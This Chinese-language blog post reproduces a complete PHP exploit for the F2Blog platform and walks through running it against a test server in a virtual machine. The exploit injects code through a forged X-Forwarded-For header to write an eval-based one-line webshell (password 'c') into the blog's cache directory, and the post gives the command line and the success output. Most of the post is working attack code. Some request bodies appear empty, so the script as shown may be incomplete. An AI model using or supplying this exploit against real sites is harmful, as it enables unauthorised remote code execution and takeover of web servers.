今天在剑心的blog上看到F2blog漏洞的exp，php不会，抱着学习的态度玩了一下，能够得到webshell，下面是exp的代码


<?php
print_r("

+------------------------------------------------------------------+

Exploit For F2Blog All Version
BY Mokfly 媒婆X 拖鞋王子
Just For Fun :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';

$shell= "http://".$server.$blogpath."cache/loveshell.php";

$evilcode="fputs(fopen('cache/loveshell.php','w+'),'<?@eval(\$_REQUEST[c])?>Orz')";
$evilcode="'));".$evilcode.";/*";
$evilip="X-Forwarded-For: ".$evilcode;

preg_match('/X-Powered-By: php\/(.+)\r\n/ie',send(""),$php);
echo "We Got php version:\t".$php[1]."\r\n";

send("");

$evilip="";

send("");

if(@file_get_contents($shell)=='Orz')
{
  echo "Expoilt Success!\t\r\n";
  echo "View Your shell:\t$shell";
}
else die("Faild!\r\n");

function send($cmd)
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

$path=$blogpath."index.php";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";

echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
?>

在虚拟机上搭建了服务器，然后从网上下了个F2blog的程序，安装完成后，准备工作就完成了，在本机上的DOS下进入到php程序的目录，我这里把exp保存为exp.php文件，然后输入命令：
php.exe exp.php 172.16.4.239 /
命令中的主机地址是blog程序的网址，不带http://，然后加上空格在加上/，命令输入后回车，这个漏洞好像对所有的F2blog都有用，如果不出现什么问题的话就会出现成功的字样:

Expoilt Success!
View Your shell:     http://172.16.4.239/cache/loveshell.php

这就说明我们已经得到了一个一句话的php shell，地址是http://172.16.4.239/cache/loveshell.php，失败的话就是failed
访问一下，页面上是Orz，下面我们就可以利用php一句话的客户端连它了，密码是c